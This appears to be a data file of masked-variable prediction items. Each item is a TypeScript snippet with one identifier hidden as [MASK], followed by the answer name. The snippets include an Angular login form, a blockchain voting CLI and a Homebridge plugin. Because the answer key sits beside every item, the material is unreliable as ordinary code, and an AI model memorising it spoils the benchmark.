    fetchAASReference(ref: AASReferenceObject, callback?: Function): UAObject | void {
        assert(ref.typeDefinitionObj.isSupertypeOf(this.findCoreAASObjectType(""AASReferenceType"")!), ""ref is not an AASReferenceType instance."");
        let keys = ref.keys._dataValue.value.value;
        let currentNamespace;
        for (let key of keys) {
            if (this.identifiableMap.has(key.value)) {
                currentNamespace = this.identifiableMap.get(key.value);
            }
            else if (currentNamespace && (<any>currentNamespace).referableChildrenMap.has(key.value)) {
                currentNamespace = (<any>currentNamespace).referableChildrenMap.get(key.value);
            }
            else {
                currentNamespace = undefined;
                break;
            };
        }

        if (currentNamespace == null) 
            return (callback != null) ? callback(new Error(""Referred entity not found""), null) :  null;

        return (callback != null) ? callback(null, currentNamespace) : currentNamespace;

    }
}

",identifierDataType
701,"import { Component, OnInit } from '@angular/core';
import { AbstractControl, FormControl, FormGroup, Validators } from '@angular/forms';
import { Router } from '@angular/router';
import { AlertInteractionService } from '../../services/alert-interaction.service';
import { LoginService } from '../../services/login.service';

@Component({
  selector: 'app-login',
  templateUrl: './login.component.html',
  styleUrls: ['./login.component.css']
})
export class LoginComponent implements OnInit {

  form!: FormGroup;
  inputEmail: FormControl = new FormControl("""", [Validators.required, Validators.email]);
  inputPassword: FormControl = new FormControl("""", [Validators.required]);

  constructor(
    private router: Router,
    private alertInteraction: AlertInteractionService,
    private loginService: LoginService) {
  }

  ngOnInit(): void {
    this.form = new FormGroup(
      {
        inputEmail: this.inputEmail,
        inputPassword: this.inputPassword
      });
  }

  login() {
    const email = ""<EMAIL>"";
    const  [MASK]  = ""<PASSWORD>"";
    this.alertInteraction.clearAlerts();
    if (this.inputEmail.value === email && this.inputPassword.value ===  [MASK] ) {
      this.loginService.login();
      this.router.navigate(['/sales']);
    } else {
      this.alertInteraction.setError(""Credentials not valid, please try again."");
      this.form.reset();
    }
  }

  isEmailInvalid(): boolean {
    return this.inputEmail != null && this.inputEmail.invalid && this.inputEmail.dirty;
  }

  isPasswordInvalid(): boolean {
    return this.inputPassword != null && this.inputPassword.invalid && this.inputPassword.dirty;
  }

  disableLogin(): boolean {
    return this.form.invalid;
  }
}
",password
702,"import dotenv from 'dotenv';
import path from 'node:path';
import { fileURLToPath } from 'node:url';
import pino from 'pino';

// Configure dotenv to load from project root
const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);
const projectRoot = path.resolve(__dirname, '..', '..', '..');
dotenv.config({ path: path.join(projectRoot, '.env') });

import { type Resource } from '@midnight-ntwrk/wallet';
import { type Wallet } from '@midnight-ntwrk/wallet-api';
import { type Logger } from 'pino';
import { type ZkvoteProviders, type DeployedZkvoteContract } from './common-types.js';
import { type Config, TestnetRemoteConfig } from './config.js';
import * as api from './simple-api.js';

let logger: Logger;

// Helper function to decode bytes to string
const decodeChoiceLabel = (bytes: Uint8Array): string => {
  try {
    const decoder = new TextDecoder('utf-8');
    // Remove null bytes and decode
    const filteredBytes = bytes.filter(b => b !== 0);
    return decoder.decode(new Uint8Array(filteredBytes));
  } catch (error) {
    return `[${Array.from(bytes).join(', ')}]`;
  }
};

// Create a simple logger
function createLogger(): Logger {
  return pino({
    level: 'info',
    transport: {
      target: 'pino-pretty',
      options: {
        colorize: true,
        translateTime: 'HH:MM:ss',
        ignore: 'pid,hostname'
      }
    }
  });
}

// Non-interactive API operations
async function performOperation(): Promise<void> {
  const args = process.argv.slice(2);
  const operation = args[0];

  if (!operation) {
    console.error('ERROR: No operation specified');
    process.exit(1);
  }

  try {
    const config = new TestnetRemoteConfig();
    logger = createLogger();
    api.setLogger(logger);
    
    // Build wallet using environment seed
    const seedPhrase = process.env.WALLET_SEED;
    if (!seedPhrase) {
      throw new Error('WALLET_SEED environment variable is required');
    }
    
    const wallet = await api.buildWalletAndWaitForFunds(config, seedPhrase, '');
    
    // Configure providers
    const providers = await api.configureProviders(wallet, config);
    
    switch (operation) {
      case 'deploy':
        await handleDeploy(providers, args.slice(1));
        break;
      case 'state':
        await handleState(providers, args.slice(1));
        break;
      case 'vote':
        await handleVote(providers, args.slice(1));
        break;
      default:
        console.error('ERROR: Unknown operation: ' + operation);
        process.exit(1);
    }
    
    await wallet.close();
    
  } catch (error: unknown) {
    console.error('ERROR: Exception in performOperation');
    if (error instanceof Error) {
      console.error('ERROR:' + error.message);
      console.error('Stack:', error.stack);
    } else if (error && typeof error === 'object') {
      console.error('ERROR:' + JSON.stringify(error, null, 2));
    } else {
      console.error('ERROR:' + String(error));
    }
    process.exit(1);
  }
}

async function handleDeploy(providers: ZkvoteProviders, args: string[]): Promise<void> {
  try {
    if (args.length < 4) {
      throw new Error('Deploy requires 4 choice arguments');
    }
    
    const [choiceA, choiceB, choiceC, choiceD] = args;
    
    logger.info(`Deploying contract with choices: ${choiceA}, ${choiceB}, ${choiceC}, ${choiceD}`);
    
    const deployResult = await api.deploy(
      providers,
      { secretKey: new Uint8Array(32).fill(1) },
      choiceA,
      choiceB,
      choiceC,
      choiceD
    );
    
    const contractAddress = deployResult.deployTxData.public.contractAddress;
    console.log('CONTRACT_ADDRESS:' + contractAddress);
  } catch (error) {
    console.error('ERROR: Exception in handleDeploy');
    if (error instanceof Error) {
      console.error('ERROR:' + error.message);
      console.error('Stack:', error.stack);
    } else {
      console.error('ERROR:' + String(error));
    }
    throw error;
  }
}

async function handleState(providers: ZkvoteProviders, args: string[]): Promise<void> {
  if (args.length < 1) {
    throw new Error('State requires contract address argument');
  }
  
  const contractAddress = args[0];
  
  logger.info(`Getting state for contract: ${contractAddress}`);
  
  const ledgerState = await api.getZkvoteLedgerState(providers, contractAddress as any);
  
  if (!ledgerState) {
    throw new Error('Contract not found');
  }
  
  // Output state information
  console.log('TOTAL_VOTERS:' + ledgerState.numberOfVoters);
  
  // Parse choices and vote counts
  try {
    const choicesIterator = ledgerState.choices[Symbol.iterator]();
    let result = choicesIterator.next();
    let choiceIndex = 0;
    
    while (!result.done) {
      const [mapKey, choiceBytes] = result.value;
      
      try {
        const choiceLabel = decodeChoiceLabel(choiceBytes);
        let voteCount = 0;
        
        // Get vote count from the voteCounts Map
        if (ledgerState.voteCounts.member(mapKey)) {
          voteCount = Number(ledgerState.voteCounts.lookup(mapKey).read());
        }
        
        console.log(`CHOICE_${choiceIndex}:${choiceLabel}:${voteCount}`);
        choiceIndex++;
      } catch (error) {
        logger.warn(`Failed to process choice at index ${choiceIndex}: ${error}`);
      }
      
      result = choicesIterator.next();
    }
  } catch (error) {
    logger.error(`Error parsing choices: ${error}`);
    throw new Error('Failed to parse contract choices');
  }
}

async function handleVote(providers: ZkvoteProviders, args: string[]): Promise<void> {
  if (args.length < 2) {
    throw new Error('Vote requires contract address and choice index arguments');
  }
  
  const contractAddress = args[0];
  const choiceIndex = parseInt(args[1]);
  
  if (isNaN(choiceIndex) || choiceIndex < 0 || choiceIndex > 3) {
    throw new Error('Choice index must be a number between 0 and 3');
  }
  
  
  // Join the contract first
  const contract = await api.joinContract(providers, contractAddress);
  
  // Vote (this will call the appropriate vote method based on choice index)
  const  [MASK]  = await api.vote(providers, contract, choiceIndex);
  
  console.log('VOTE_SUCCESS:' +  [MASK] );
}

// Run the operation
performOperation().catch((error) => {
  console.error('ERROR: Uncaught error in performOperation');
  if (error instanceof Error) {
    console.error('ERROR:' + error.message);
    console.error('Stack:', error.stack);
  } else if (error && typeof error === 'object') {
    console.error('ERROR:' + JSON.stringify(error, null, 2));
  } else {
    console.error('ERROR:' + String(error));
  }
  process.exit(1);
});

// Handle any other uncaught exceptions
process.on('uncaughtException', (error) => {
  console.error('ERROR: Uncaught exception');
  if (error instanceof Error) {
    console.error('ERROR:' + error.message);
    console.error('Stack:', error.stack);
  } else {
    console.error('ERROR:' + String(error));
  }
  process.exit(1);
});

// Handle unhandled promise rejections
process.on('unhandledRejection', (reason, promise) => {
  console.error('ERROR: Unhandled promise rejection');
  if (reason instanceof Error) {
    console.error('ERROR:' + reason.message);
    console.error('Stack:', reason.stack);
  } else {
    console.error('ERROR:' + String(reason));
  }
  process.exit(1);
});
",txId
703,"import * as DefaultConfig from './config/config.default';
import { Configuration, Logger } from '@midwayjs/decorator';
import { ThrottlerFactoryService } from './service/throttler.service';
import { ThrottlerGuard } from './guard/throttler.guard';

//入口启动文件
@Configuration({
  namespace: 'traffic-throttler',
  importConfigs: [
    {
      default: DefaultConfig,
    },
  ],
})
export class ThrottlerConfiguration {
  
  @Logger('coreLogger')
  logger;

  async onReady(container) {
    this.logger.info(`throttler onReady`);

    await container.getAsync(ThrottlerFactoryService);

    //import guard
    await container.getAsync(ThrottlerGuard);
  }

  async onStop(container): Promise<void> {
    const  [MASK]  = await container.getAsync(ThrottlerFactoryService);
    if ( [MASK] ) {
      await  [MASK] .stop();
    }

    this.logger.info(`throttler stop`);
  }
}
",factory
704,"/* eslint-disable node/no-callback-literal */
import { Client, GuildMember, VoiceChannel, VoiceState } from 'discord.js'

type Listener = (member: GuildMember) => any
type EventTypes = 'join' | 'leave' | 'empty' | 'first'
type EventListeners = { join: Listener[], leave: Listener[], empty: Listener[], first: Listener[] }

export class TargetChannel {
  public eventListeners: EventListeners =
    { join: [], leave: [], empty: [], first: [] }

  constructor (client: Client, channel: VoiceChannel) {
    client.on('voiceStateUpdate', ( [MASK] : VoiceState, newState: VoiceState) => {
      if ( [MASK] .member?.id === client.user?.id) return
      if (newState.member?.id === client.user?.id) return

      if ( [MASK] .channel?.id === newState.channel?.id) return
      if ( [MASK] .member?.user.bot || newState.member?.user.bot) return

      if (!newState.channelID ||  [MASK] .channel?.id === channel.id) {
        const members =  [MASK] .channel?.members!
        const many = members.filter((member) => !member.user.bot).array().length

        for (const callback of this.eventListeners.leave) callback( [MASK] .member!)
        if (many > 0) return

        for (const callback of this.eventListeners.empty) callback( [MASK] .member!)
        return
      }

      // 들어왔을때
      if (! [MASK] .channelID || newState.channel?.id === channel.id) {
        if (newState.channel?.id !== channel.id) return

        const members = newState.channel?.members!
        const many = members.filter((member) => !member.user.bot).array().length

        for (const callback of this.eventListeners.join) callback( [MASK] .member!)

        if (many < 1) return
        for (const callback of this.eventListeners.first) callback( [MASK] .member!)
      }
    })
  }

  public on = (type: EventTypes, cb: () => any) =>
    this.eventListeners[type].push(cb)
}
",oldState
705,"import { Fluence, FluencePeer } from '../../index';
import fs from 'fs';
import { call } from '../_aqua/marine-js';
import { call_info } from '../_aqua/marine-js-logging';

describe('Marine js tests', () => {
    beforeEach(async () => {
        await Fluence.start();
    });

    afterEach(async () => {
        await Fluence.stop();
    });

    it('should call marine service correctly', async () => {
        // arrange
        const wasm = await fs.promises.readFile(__dirname + '/greeting.wasm');
        await Fluence.registerMarineService(wasm, 'greeting');

        // act
        const res = await call('test');

        // assert
        expect(res).toBe('Hi, Hi, Hi, test');
    });

    // TODO: console printouts are happening inside web-worker\worker threads.
    // Find a way to mock functions in background thread
    it.skip('logging should work', async () => {
        // arrange
        const  [MASK]  = new FluencePeer();
        try {
            jest.spyOn(global.console, 'info').mockImplementation(() => {});

            await  [MASK] .start({
                debug: {
                    marineLogLevel: 'debug',
                },
            });
            const wasm = await fs.promises.readFile(__dirname + '/greeting-record.wasm');
            await  [MASK] .registerMarineService(wasm, 'greeting');

            // act
            await call_info( [MASK] , 'greeting');

            // assert
            expect(console.info).toBeCalledTimes(1);
            expect(console.info).toHaveBeenNthCalledWith(1, '[marine service ""greeting""]: info');
        } finally {
            await  [MASK] .stop();
        }
    });
});
",peer
706,"import { Marked } from 'marked';
import markedAlert from 'marked-alert'
import { markedHighlight } from 'marked-highlight';
import DOMPurify from 'dompurify';
import hljs from 'highlight.js';

window.customElements.define('highlight-code', class extends HTMLElement {
  // Cached instances
  private _marked: Marked | undefined;
  private _DOMPurify: DOMPurify.DOMPurifyI | undefined;

  constructor() { super(); }

  connectedCallback() { this.render(); }

  render() {
    const code = this.getAttribute('code') ?? '';
    const lang = this.getAttribute('language') ?? 'markdown';
    const baseUrl = this.getAttribute('baseUrl') ?? '';
    const rawBaseUrl = this.getAttribute('rawBaseUrl') ?? '';

    switch (lang) {
      case 'markdown':
        this.parseMarkdown(code, baseUrl, rawBaseUrl);
        break;
      default:
        this.parseCode(code, lang);
        break;
    }
  }

  parseCode(code: string, lang: string) {
    const sanitized = DOMPurify.sanitize(this.highlightCode(code, lang));

    this.classList.add('block', 'whitespace-pre', 'hljs', `language-${lang}`);
    this.innerHTML = sanitized;
  }

  async parseMarkdown(markdown: string, baseUrl = '', rawBaseUrl = '') {
    if (baseUrl) {
      this.DOMPurify.addHook('afterSanitizeAttributes', function( [MASK] ) {
        let href =  [MASK] .getAttribute('href');
        if (href !== null) {
          const newHref = new URL(removeRootPath(href), baseUrl);
           [MASK] .setAttribute('href', newHref.toString());
        }

        let src =  [MASK] .getAttribute('src');
        if (src !== null) {
          const newSrc = new URL(removeRootPath(src), rawBaseUrl || baseUrl);
           [MASK] .setAttribute('src', newSrc.toString());
        }
      });
    }

    const parsed = await this.marked.parse(markdown);
    const sanitized = this.DOMPurify.sanitize(parsed);

    this.classList.add('block');
    this.innerHTML = sanitized;
  }

  highlightCode(code: string, lang: string): string {
    const language = hljs.getLanguage(lang) ? lang : 'plaintext';
    return hljs.highlight(code, { language, ignoreIllegals: true }).value;
  }

  get marked(): Marked {
    if (this._marked) {
      return this._marked;
    }

    this._marked =
      new Marked(
        markedHighlight({
          langPrefix: 'hljs language-',
          highlight: this.highlightCode
        })
      ).use(markedAlert());

    return this._marked;
  }

  get DOMPurify(): DOMPurify.DOMPurifyI {
    if (this._DOMPurify) {
      return this._DOMPurify;
    }

    this._DOMPurify = DOMPurify();

    return this._DOMPurify;
  }
})

function removeRootPath(path = ''): string {
  if (path.startsWith('/')) {
    return path.substring(1);
  }

  return path;
}
",node
707,"import { Component, OnInit } from ""@angular/core"";

import { GameDataService } from ""../services/gamedata/gamedata.service"";

import { GameState } from ""../models/gamestate"";
import { Player } from ""../models/player"";
import { IGameData, GameData } from ""../models/data/gamedata"";
import { IMessage, MessageType } from ""../models/messages/message"";
import { StartGameMessage } from ""../models/messages/startgamemessage"";
import { ConfirmStagingMessage } from ""../models/messages/confirmstagingmessage"";
import { SetSlotMessage } from ""../models/messages/setslotmessage"";
import { ClearSlotMessage } from ""../models/messages/clearslotmessage"";
import { UseSpecialMessage } from ""../models/messages/usespecialmessage"";

@Component({
    selector: ""app-root"",
    templateUrl: ""./app.component.html"",
    styleUrls: [""./app.component.css""]
})

// TODO: go through and get rid of ""any"" variables where possible

export class AppComponent implements OnInit {

    private static readonly CurrentGameDataVersion: number = 1;

    public readonly Title: string = ""Cat Fight Controller"";

    private _airConsole: any;
    private _isAirConsoleReady: boolean;

    private _viewManager: any;

    private _gameData: GameData = new GameData();

    public get gameData(): GameData {
        return this._gameData;
    }

    private setGameData(gameData: IGameData): void {
        this._gameData = GameData.create(gameData);
    }

    private _gameState: GameState = new GameState();

    public get gameState(): GameState {
        return this._gameState;
    }

    public get player(): Player {
        return this.gameState.player;
    }

    constructor(
        private readonly gameDataService: GameDataService) {
    }

    public ngOnInit(): void {

        this._airConsole = new AirConsole({""orientation"": ""landscape""});

        this._airConsole.onReady = (code: string)  => {

            this._isAirConsoleReady = true;

            this.debugLog(""onReady"", code);

            this.player.deviceId = this._airConsole.getDeviceId();
            this.player.name = this._airConsole.getNickname();

            this._viewManager = new AirConsoleViewManager(this);
        };

        this._airConsole.onMessage = (from: number, data: any) => {

            this.debugLog(""onMessage"", from, data);

            const messageType: number = data.type;
            switch(messageType) {

            case MessageType.SetTeam:
                this.player.teamId = data.teamId;
                this.player.teamName = data.teamName;

                this._airConsole.setCustomDeviceStateProperty(""teamData"", data);
                break;
            case MessageType.SetSlot:
                this.gameState.setTeamSlot(data.slotId, data.itemId);
                break;
            case MessageType.ClearSlot:
                this.gameState.clearTeamSlot(data.slotId, data.itemId);
                break;
            default:
                this.debugLog(""Invalid message type"", messageType);
                break;
            }
        };

        this._airConsole.onCustomDeviceStateChange = (deviceId: number, data: any) => {

            this.debugLog(""onCustomDeviceStateChange"", deviceId, data);

            this.gameState.update(data);

            this._viewManager.onViewChange(data, (viewId: string) => {
                this.debugLog(""onViewChange"", viewId);

                if(""lobby"" === viewId) {
                    this.reset();
                }
            });
        };

        this.debugLog(""Requesting game data..."");
        this.gameDataService.getGameData()
            .then(gameData => {
                this.debugLog(""Received game data"", gameData);

                if(AppComponent.CurrentGameDataVersion !== gameData.Version) {
                    this.debugLog(""Invalid game data version"", gameData.Version, AppComponent.CurrentGameDataVersion);
                    return;
                }
                this.setGameData(gameData);

                this.reset();
            })
            .catch(this.handleError);
    }

    public debugLog(msg: string, ...args: any[]): void {

        if(this._isAirConsoleReady) {
            console.log(this._airConsole.getDeviceId(), msg, ...args);
        } else {
            console.log(msg, ...args);
        }
    }

    private reset(): void {

        this.gameState.reset(this.gameData);
    }

    public startGame(): void {

        this.debugLog(""Starting game..."");
        this.sendMessageToScreen(new StartGameMessage());
    }

    public confirmStaging(): void {

        this.player.isConfirmed = !this.player.isConfirmed;

        this.debugLog(""Confirming staging"", this.player.isConfirmed);
        this.sendMessageToScreen(new ConfirmStagingMessage(this.player.isConfirmed));
    }

    public selectSchematicSlot(slotId: number, value: any): void {

        if(value > 0) {
            this.setSlot(slotId, parseInt(value));
        } else {
            this.clearSlot(slotId);
        }
    }

    private setSlot(slotId: number, itemId: number): void {

        this.sendMessageToScreen(new SetSlotMessage(slotId, itemId));

        this.player.schematic.setSlot(slotId, itemId);
    }

    private clearSlot(slotId: number): void {

        this.sendMessageToScreen(new ClearSlotMessage(slotId));

        this.player.schematic.clearSlot(slotId);
    }

    public fireMissiles(): void {

        this.useSpecial(GameData.SpecialTypeMissiles);
        this.gameState.useMissile();
    }

    public launchChaff(): void {

        this.useSpecial(GameData.SpecialTypeChaff);
        this.gameState.useChaff();
    }

    private useSpecial( [MASK] : string) {

        if(!this.gameState.isGameStarted) {
            return;
        }

        this.debugLog(""Using special"",  [MASK] );
        this.sendMessageToScreen(new UseSpecialMessage( [MASK] ));
    }

    private sendMessageToScreen(message: IMessage): void {

        this._airConsole.message(AirConsole.SCREEN, message);
    }

    private broadcastMessage(message: IMessage): void {

        this._airConsole.broadcast(message);
    }

    private handleError(error: any): Promise<any> {

        console.error(error);
        return Promise.reject(error.message || error);
    }
}
",specialType
708,"export type WeekDay = {
   name: string
   isWeekend: boolean
}

export type Month = {
   name: string
   dayCount: number
}

type Day = {
   day: number
   dayOfWeek: string
   isWeekend: boolean
   isNextMonth: boolean
   isPrevMonth: boolean
}

type MonthDays = Day[]

type Calendar = {
   month: string
   year: number
   weeks: MonthDays[]
}

type GeneratedCalendar = {
   days: Calendar[]
   weekHeader: string[]
}

export function generateCalendar(weekDays: WeekDay[], months: Month[], currentYear: number = 0): GeneratedCalendar {
   const daysInWeek = weekDays.length
   const days: Calendar[] = []
   const weekendsDays = weekDays.filter((day) => day.isWeekend).map((day) => day.name)

   // Determinar o maior número de dias entre os meses
   const  [MASK]  = Math.max(...months.map((month) => month.dayCount))

   // Calcular o número máximo de semanas necessário
   const maxWeeks = Math.ceil( [MASK]  / daysInWeek)

   let currentStartDayIndex = 0 // Índice do dia da semana em que o mês começa (0 = domingo, 1 = segunda, ...)

   for (let monthIndex = 0; monthIndex < months.length; monthIndex++) {
      const month = months[monthIndex]
      const monthDays: MonthDays[] = []
      const totalDaysInMonth = month.dayCount

      let currentDay = 1
      let overFlowNextDays = 1
      let overFlowPrevDays = 1

      for (let weekIndex = 0; weekIndex < maxWeeks; weekIndex++) {
         const weekDaysInMonth: Day[] = []

         for (let dayIndex = 0; dayIndex < daysInWeek; dayIndex++) {
            if (weekIndex === 0 && dayIndex < currentStartDayIndex) {
               // Dias ""vazios"" antes do início do mês
               weekDaysInMonth.push({
                  day: overFlowPrevDays,
                  dayOfWeek: """",
                  isWeekend: false,
                  isNextMonth: false,
                  isPrevMonth: true,
               })

               overFlowPrevDays++
               //
            } else if (currentDay <= totalDaysInMonth) {
               const dayOfWeek = weekDays[(currentStartDayIndex + dayIndex) % daysInWeek]
               weekDaysInMonth.push({
                  day: currentDay,
                  dayOfWeek: dayOfWeek.name,
                  // isWeekend: weekendsDays.includes(dayOfWeek.name),
                  isWeekend: false,
                  isNextMonth: false,
                  isPrevMonth: false,
               })
               currentDay++
            } else {
               // Dias ""vazios"" após o término do mês
               weekDaysInMonth.push({
                  day: overFlowNextDays,
                  dayOfWeek: """",
                  isWeekend: false,
                  isNextMonth: true,
                  isPrevMonth: false,
               })

               overFlowNextDays++
            }
         }

         monthDays.push(weekDaysInMonth)
      }

      // Calcular o índice do dia da semana para o próximo mês
      currentStartDayIndex = (currentStartDayIndex + totalDaysInMonth) % daysInWeek

      days.push({
         month: month.name,
         year: currentYear,
         weeks: monthDays,
      })
   }

   return { days, weekHeader: weekDays.map((day) => day.name) }
}

export { months, weekDays } from ""./sampleCalendar""
",longestMonthDayCount
709,"import { CharacteristicValue, PlatformAccessory, Service } from 'homebridge';
import { ConnectLifeAcPlatformPlugin } from '../platform';
import { ConnectLifeApi } from '../lib';
import { WorkModes } from '../constants';
import { celsiusToFahrenheit, fahrenheitToCelsius } from '../utils';

export class TemperatureAccessory {
  private debugMode: boolean;
  private deviceNickName: string;
  private connectLifeApi: ConnectLifeApi;
  private service: Service;

  constructor(
    private readonly platform: ConnectLifeAcPlatformPlugin,
    private readonly accessory: PlatformAccessory,
  ) {
    const { loginID, password } = platform.config;
    const deviceNickName = accessory.context.device?.displayName?.toLowerCase();

    if (!deviceNickName || !loginID || !password) {
      throw new Error('Missing required config');
    }

    this.debugMode = !!platform.config?.debugMode;
    this.deviceNickName = deviceNickName;
    this.connectLifeApi = new ConnectLifeApi(loginID, password, {
      debugMode: this.debugMode,
      log: platform.log,
    });

    this.accessory
      .getService(this.platform.Service.AccessoryInformation)!
      .setCharacteristic(this.platform.Characteristic.Manufacturer, 'null')
      .setCharacteristic(this.platform.Characteristic.Model, 'null')
      .setCharacteristic(this.platform.Characteristic.SerialNumber, 'null');

    this.service =
      this.accessory.getService(this.platform.Service.HeaterCooler) ||
      this.accessory.addService(this.platform.Service.HeaterCooler);

    this.service.setCharacteristic(
      this.platform.Characteristic.Name,
      accessory.context.device.displayName,
    );

    this.service
      .getCharacteristic(this.platform.Characteristic.Active)
      .onSet(this.setActive.bind(this))
      .onGet(this.getActive.bind(this));

    this.service
      .getCharacteristic(this.platform.Characteristic.CurrentTemperature)
      .onSet(this.setCurrentTemperature.bind(this))
      .onGet(this.getCurrentTemperature.bind(this));

    this.service
      .getCharacteristic(this.platform.Characteristic.SwingMode)
      .onSet(this.setSwingMode.bind(this))
      .onGet(this.getSwingMode.bind(this));

    this.service
      .getCharacteristic(
        this.platform.Characteristic.CoolingThresholdTemperature,
      )
      .onSet(this.setCoolingThresholdTemperature.bind(this))
      .onGet(this.getCoolingThresholdTemperature.bind(this));

    this.service
      .getCharacteristic(
        this.platform.Characteristic.HeatingThresholdTemperature,
      )
      .onSet(this.setHeatingThresholdTemperature.bind(this))
      .onGet(this.getHeatingThresholdTemperature.bind(this));

    this.service
      .getCharacteristic(this.platform.Characteristic.TemperatureDisplayUnits)
      .onSet(this.setTemperatureDisplayUnits.bind(this))
      .onGet(this.getTemperatureDisplayUnits.bind(this));
  }

  async setActive(value: CharacteristicValue) {
    const { t_power } = await this.connectLifeApi.getDeviceProperties(
      this.deviceNickName,
      {
        t_power: 'integer',
      },
    );

    if (t_power === value) {
      return;
    }

    this.connectLifeApi.changeDeviceProperties(this.deviceNickName, {
      t_power: value,
    });

    if (this.debugMode) {
      this.platform.log.info('Set Active', value);
    }
  }

  async getActive(): Promise<CharacteristicValue> {
    const { t_power } = await this.connectLifeApi.getDeviceProperties(
      this.deviceNickName,
      {
        t_power: 'integer',
      },
    );

    return t_power;
  }

  setCurrentTemperature( [MASK] : CharacteristicValue) {
    this.connectLifeApi.changeDeviceProperties(this.deviceNickName, {
      t_work_mode: WorkModes.Auto,
    });

    if (this.debugMode) {
      this.platform.log.info('Set CurrentTemperature',  [MASK] );
    }
  }

  async getCurrentTemperature(): Promise<CharacteristicValue> {
    const { t_temp, t_temp_type } =
      await this.connectLifeApi.getDeviceProperties(this.deviceNickName, {
        t_temp: 'integer',
        t_temp_type: 'integer',
      });

    return t_temp_type === 1 ? fahrenheitToCelsius(t_temp as number) : t_temp;
  }

  setSwingMode(value: CharacteristicValue) {
    this.connectLifeApi.changeDeviceProperties(this.deviceNickName, {
      t_up_down: value,
    });

    if (this.debugMode) {
      this.platform.log.info('Set SwingMode', value);
    }
  }

  async getSwingMode(): Promise<CharacteristicValue> {
    const { t_up_down } = await this.connectLifeApi.getDeviceProperties(
      this.deviceNickName,
      {
        t_up_down: 'integer',
      },
    );

    return t_up_down;
  }

  async setCoolingThresholdTemperature(value: CharacteristicValue) {
    const { t_temp_type } = await this.connectLifeApi.getDeviceProperties(
      this.deviceNickName,
      {
        t_temp_type: 'integer',
      },
    );

    this.connectLifeApi.changeDeviceProperties(this.deviceNickName, {
      t_temp: t_temp_type === 1 ? celsiusToFahrenheit(value as number) : value,
      t_work_mode: WorkModes.Cool,
    });

    if (this.debugMode) {
      this.platform.log.info('Set CoolingThresholdTemperature', value);
    }
  }

  async getCoolingThresholdTemperature(): Promise<CharacteristicValue> {
    const { t_temp, t_temp_type, t_work_mode } =
      await this.connectLifeApi.getDeviceProperties(this.deviceNickName, {
        t_temp: 'integer',
        t_temp_type: 'integer',
        t_work_mode: 'integer',
      });

    if (t_work_mode !== WorkModes.Cool) {
      return 10;
    }

    return t_temp_type === 1 ? fahrenheitToCelsius(t_temp as number) : t_temp;
  }

  async setHeatingThresholdTemperature(value: CharacteristicValue) {
    const { t_temp_type } = await this.connectLifeApi.getDeviceProperties(
      this.deviceNickName,
      {
        t_temp_type: 'integer',
      },
    );

    this.connectLifeApi.changeDeviceProperties(this.deviceNickName, {
      t_temp: t_temp_type === 1 ? celsiusToFahrenheit(value as number) : value,
      t_work_mode: WorkModes.Heat,
    });

    if (this.debugMode) {
      this.platform.log.info('Set HeatingThresholdTemperature', value);
    }
  }

  async getHeatingThresholdTemperature(): Promise<CharacteristicValue> {
    const { t_temp, t_temp_type, t_work_mode } =
      await this.connectLifeApi.getDeviceProperties(this.deviceNickName, {
        t_temp: 'integer',
        t_temp_type: 'integer',
        t_work_mode: 'integer',
      });

    if (t_work_mode !== WorkModes.Heat) {
      return 0;
    }

    return t_temp_type === 1 ? fahrenheitToCelsius(t_temp as number) : t_temp;
  }

  setTemperatureDisplayUnits(value: CharacteristicValue) {
    this.connectLifeApi.changeDeviceProperties(this.deviceNickName, {
      t_temp_type: value,
    });

    if (this.debugMode) {
      this.platform.log.info('Set TemperatureDisplayUnits', value);
    }
  }

  async getTemperatureDisplayUnits(): Promise<CharacteristicValue> {
    const { t_temp_type } = await this.connectLifeApi.getDeviceProperties(
      this.deviceNickName,
      {
        t_temp_type: 'integer',
      },
    );

    return t_temp_type;
  }
}
",_value
710,"
import fs = require('fs');
import { createScanner, Token } from './Scanner';

export interface Key {
    name: string;
    params: string[];
    line: number;
    column: number;
}

export function extractKeysFromFile(file: string, callExpressionIdentifiers: string[]): Key[] {
    const text = fs.readFileSync(file).toString();
    const scanner = createScanner(text, callExpressionIdentifiers);
    const keys: Key[] = [];

    work();

    function scan() {
        return scanner.scan();
    }

    function getColumn() {
        return scanner.column;
    }

    function getLine() {
        return scanner.line;
    }

    // function value() {
    //     return scanner.value;
    // }

    function getStringLiteral() {
        return scanner.stringLiteral;
    }

    function nextTokenIs( [MASK] : Token): boolean {
        return scanner.scan() ===  [MASK] ;
    }

    function work() {
        outer: while (true) {
            const to = scan();
            switch (to) {
                case Token.TextTrivia:
                    continue;
                case Token.EndOfFile:
                    break outer;
                case Token.CallExpressionIdentifier:
                    const line = getLine();
                    const column = getColumn();
                    if (nextTokenIs(Token.OpenParen)) {
                        if (nextTokenIs(Token.StringLiteral)) {
                            const name = getStringLiteral();
                            let params: string[] = [];
                            switch (scan()) {
                                case Token.CloseParen:
                                    break;
                                case Token.Comma:
                                    params = extractParams();
                                    break;
                            }
                            keys.push({
                                name,
                                params,
                                line,
                                column,
                            });
                            continue;
                        }
                    }
            }
            // console.log(t(to));
        }
    }

    function extractParams(): string[] {
        if (nextTokenIs(Token.OpenBrace)) {
            return [];
        }
        return [];
    }

    return keys;
}
",token
711,"// Copyright 2024 <NAME>

import bcrypt from ""bcrypt"";
import fs from ""fs"";
import http from ""http"";

/* SERVER START UP */
if (process.argv.length < 3) {
    console.error(""expected a port to serve on in the second argument"");
    process.exit(1);
}
if (Number.isNaN(+process.argv[2])) {
    console.error(""expected an integer port number"");
    process.exit(1);
}

/* SERVER */
let requestPool = 0;

http.createServer(async (req, res) => {
    if (requestPool > 20) {
        res.writeHead(503, { ""Content-Type"": ""text/html"" });
        res.write(fs.readFileSync(""pages/error/503.html""));
        res.end();
        return;
    }
    requestPool++;
    let u = new URL(`https://${req.headers.host}${req.url}`);
    const file = u.pathname.substring(1);

    let code: number
    let header: Record<string, string>
    let content: Buffer

    if (file == ""signup"") {
        ({ code, header, content } = await handleSignup(u.searchParams));
    } else if (file == ""login"") {
        ({ code, header, content } = await handleLogin(u.searchParams));
    } else if (file == ""style.css"") {
        code = 200;
        header = { ""Content-Type"": ""text/css"" };
        content = fs.readFileSync(""pages/style.css"");
    } else if (file === ""login.html"") {
        code = 200;
        header = { ""Content-Type"": ""text/html"" };
        content = fs.readFileSync(""pages/login.html"");
    } else if (file === ""signup.html"") {
        code = 200;
        header = { ""Content-Type"": ""text/html"" };
        content = fs.readFileSync(""pages/signup.html"");
    } else if (file === """") {
        code = 200;
        header = { ""Content-Type"": ""text/html"" };
        content = fs.readFileSync(""pages/index.html"");
    } else {
